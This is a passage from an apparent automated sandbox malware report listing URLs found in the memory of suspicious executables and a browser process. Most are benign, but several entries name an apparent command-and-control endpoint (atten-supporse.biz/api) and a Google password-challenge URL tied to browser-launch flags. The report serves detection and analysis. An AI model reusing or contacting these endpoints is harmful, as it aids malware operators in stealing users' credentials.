Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C16000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C16000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001D.00000002.3380329645.00000214A6D61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-timesD
Source: firefox.exe, 0000001D.00000002.3380329645.00000214A6D61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001D.00000003.3282828733.00000214AB295000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3431199683.00000214AF1AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3425023618.00000214AE2BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3443577003.00000214B3C97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3381157977.00000214A6EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3419739637.00000214ACE20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3282828733.00000214AB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3400141987.00000214AAED2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3271184161.00000214AB5E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF36D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3425023618.00000214AE220000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3285577031.00000214AAEDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3281764562.00000214AAECF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3406016346.00000214ABB7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC4D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC4D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shandlerSvc
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSSERVICE_NOT_ENOUGH_COMMAND_L
Source: firefox.exe, 0000001D.00000002.3447537019.00000214B5D38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001D.00000002.3404937712.00000214AB803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3420072274.00000214AD868000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3406016346.00000214ABB5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3317641255.00000214ADDDE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/toolba
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulextensions.formautofill.addresses.ignor
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ToolbarP
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ContextualIdenti
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/LightweightTheme
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PolicySearchEngi
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://youtube.com
Source: firefox.exe, 0000001D.00000002.3443577003.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3341237846.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329574781.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/get
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.ca_parseURL:
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.3438362474.00000214AF718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://accounts.go
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://accounts.go.comH
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org($
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpihttps://addo
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpiTry
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed(browserSetting
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushedThis
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgADD_EXTENSION_BUTTON_STAFF_3defaults_and_os_integration
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgpictureinpicture.settingsaccount-connection-disconnectedgeckoprofiler
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001D.00000003.3364445219.00000214ADDB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com/
Source: 176986cc9c.exe, 0000000D.00000003.3218675497.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3339750999.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3342488948.00000000053D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/
Source: 176986cc9c.exe, 0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/6)
Source: 176986cc9c.exe, 0000000D.00000003.3274382491.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164373782.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167441196.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3235293503.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3130526424.00000000057B0000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3273337235.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164057533.00000000057B0000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3272216743.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3274066279.00000000012CB000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3189746475.00000000057A8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3245722384.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271234904.00000000005E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/api
Source: 176986cc9c.exe, 0000000D.00000003.3130526424.00000000057B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/api9a
Source: 176986cc9c.exe, 0000000D.00000003.3164373782.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167441196.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164057533.00000000057B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apiF
Source: 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apiI
Source: 176986cc9c.exe, 0000000D.00000003.3235293503.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3272216743.00000000012E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apiR
Source: 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apiU.
Source: 176986cc9c.exe, 0000000D.00000003.3235485658.00000000012D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apiV
Source: 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/apif
Source: 176986cc9c.exe, 0000000D.00000003.3197921283.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/d
Source: 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/k
Source: 176986cc9c.exe, 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz/r
Source: 176986cc9c.exe, 0000000D.00000003.3274382491.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3218627779.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3235485658.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3273337235.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3274066279.00000000012CB000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz:443/api
Source: 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://atten-supporse.biz:443/apiJ
Source: firefox.exe, 0000001D.00000002.3434716941.00000214AF3ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3430616593.00000214AF003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001D.00000002.3434716941.00000214AF3ED000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/
